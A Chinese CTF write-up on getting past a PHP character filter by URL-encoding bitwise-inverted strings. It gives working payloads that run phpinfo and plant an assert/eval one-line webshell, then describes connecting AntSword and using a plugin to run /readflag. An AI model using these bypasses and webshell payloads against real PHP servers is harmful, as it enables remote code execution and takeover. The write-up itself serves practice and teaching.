知识点:编码绕过,异或绕过
进入页面
发现字母和数字全被过滤了,这时候就要考虑异或绕过和编码绕过了
这里我采用url取反绕过:
先将想要执行的命令进行 URL 编码,再取反。当服务端接收参数并进行 URL 解码时,取反后的编码会被解码成不可打印字符等形式,从而绕过对常见字母、数字等字符的过滤检查
简答来说就是:取反后的payload,服务器没有做防护,服务器自动url解码后会发现一堆特殊的字符,无法识别,也就过滤不了,最后再通关参数传进eval等函数中执行取反操作,取反成正常的payload
先url取反一个phpinfo
<?php
echo urlencode(~"phpinfo");
?>
然后把取反后的值放入code参数中
Payload:
?code=(~%8F%97%8F%96%91%99%90)();
发现可以执行,既然这样那就写一个一句话木马:
<?php
echo urlencode(~"assert");
echo "\n";
echo urlencode(~'(eval($_POST[a]))');
?>
解析:echo "\n" 是用来分割的,assert是因为上面的php禁用了很多函数,但是没有禁用assert,所以拼接起来就是一个一句话木马
Payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
把url复制进蚁剑,
编码器先试试第一个,不行再按我的设置来,还有如果windows的蚁剑无法连接的话直接去用kali的蚁剑(要自己下)。
在根目录发现两个flag相关的
flag没有,那就是readflag了
readlfag查看之后是乱码
这里需要一个蚁剑的插件,去插件市场下(如果打开很慢,那就去开给代理试试)
一般第三个就是,之后右键加载插件
之后选择模式,点击开始
点击开始之后会是这样
之后输入/readflag
还要一种不用蚁剑插件的用法,我懒得复现了